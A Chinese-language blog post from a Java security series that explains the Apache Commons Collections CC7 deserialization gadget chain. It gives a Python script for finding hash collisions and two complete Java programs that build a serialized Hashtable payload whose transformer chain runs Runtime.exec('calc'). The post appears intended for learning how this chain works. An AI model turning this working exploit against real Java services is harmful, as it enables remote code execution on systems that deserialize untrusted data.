Java安全--CC7

最新推荐文章于 2024-07-09 14:45:00 发布

清风--

最新推荐文章于 2024-07-09 14:45:00 发布

阅读量1.1k

点赞数 1

分类专栏： Java安全文章标签： java 开发语言

本文链接：https://blog.youkuaiyun.com/qq_64201116/article/details/128401981

版权

Java安全专栏收录该内容

16 篇文章

订阅专栏

在学CC7的时候我有这么几个疑问

1.为什么要两个LazyMap

2.hashCode那一步怎么计算的

3.为什么要remove yy

4.为什么put两个

我们可以先看一下CC7的链子是怎么走的:

其实分析链子还是从命令执行走到readObject比较好理解，虽然比较麻烦，比较繁琐，但还是这样子分析提升比较大，主要是知道自己在写啥，知道某个地方我们需要传入什么，不用抄一份payload去调试。

我们从LazyMap这个点开始，因为LazyMap前面我们都很熟悉了，现在我们的目的是找何处调用了get，右键get，查找方法，有一千多个，最后定位在了AbstractMap这里，AbstractMap.equals调用了get，所以只要何处调用了equals，就可以继续下一步

这里有个很关键的点，就是AbstractMap是被HashMap继承的

而且equals这个方法AbstractMap有并且调用了get，但是HashMap没有equals这个方法。即只要调用了HashMap.equals就会调用AbstractMap.equals，然后会调用LazyMap.get，一切就大功告成了

继续往上，在HashTable中的reconstitutionPut方法调用了key.equals，所以只要控制key的类型为HashMap就可以了

而reconstitutionPut也在HashTable的readObject中调用了

到此我们就可以开始编写EXP了，因为如果不从Hashtable这个类来写的话利用AbstractMap这个抽象类不put东西的时候是进不到LazyMap.get的，但是如果put东西了就会过不了LazyMap.get里面判断键存不存在。然后自相矛盾，所以只能从Hashtable开始编写了：

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap1 = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        lazymap1.put("Aa", "value");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        Map lazymap2 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazymap2.put("BB", "value");

        Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
        objectObjectHashtable.put(lazymap1, 1);
        objectObjectHashtable.put(lazymap2, 2);

        serialize(objectObjectHashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

解疑一：为什么remove(Aa)

我们用这个代码的时候发现序列化的时候可以弹计算器，但是反序列化却不行。其实还是老毛病，就是在执行objectObjectHashtable.put(lazymap2, 2);的时候会put进去一个元素：

（下图是序列化的时候put进去一个键）

所以反序列的时候进不了那个判断键是否存在的判断：

（下图是反序列化的时候过不了的那个判断）

因此要remove(Aa)这样子才能过那个判断。

解疑二：Hashtable为什么要put两个

我们需要执行Hashtable的e.key.equals，而要执行这个语句需要有两个Entry才能进行遍历，并且会执行第二个Entry的e.key.equals，所以我们需要在第二个Entry中传入恶意链（当然方便起见也可以两个都传）。因此需要两个LazyMap，从而put两个。

（下图是反序列化的时候需要进入并执行的for循环）

解疑三：对于LazyMap.put里面的字母有要求吗?

答案是有，还是上面那张图，就是进入了for循环，还得过前半个判断。因为 0&&xxx，xxx是不会被执行的，所以我们要确保e.hash==hash，即我们第一个传入的LazyMap的ke的.hash值和第二个传入LazyMapkey的的hash值要相等。

怎么确保他们相等呢？可以先调试进去看一下：

可以看到他的计算规律就是

第一次计算val[i]是A，A的ascii码值为65，h值就是65。

第二次计算var[i]是a, a的ascii码是97，所以第二次计算就是31*65 + 97 = 2112

从此我们可以写一个脚本：

import string

code = string.ascii_uppercase + string.ascii_lowercase


def hashCode(hashString):
    return 31 * ord(hashString[0]) + ord(hashString[1])


for i in code:
    for j in code:
        for m in code:
            for n in code:
                str1 = i + j
                str2 = m + n
                if str1 != str2 and hashCode(str1) == hashCode(str2):
                    print("值为:" + str(hashCode(str1)) + " " + "code1:" + str(str1) + " " + "code2:" + str(str2))

只要是跑出来的组合都可以使用。

由于上面那个代码序列化的时候也会弹计算器，这是我们不希望的，因此我们利用反射改进一下代码：

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazymap1 = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        lazymap1.put("Aa", "value");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        Map lazymap2 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazymap2.put("BB", "value");

        Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
        objectObjectHashtable.put(lazymap1, 1);
        objectObjectHashtable.put(lazymap2, 2);

        lazymap2.remove("Aa");

        Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
        Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

//        serialize(objectObjectHashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}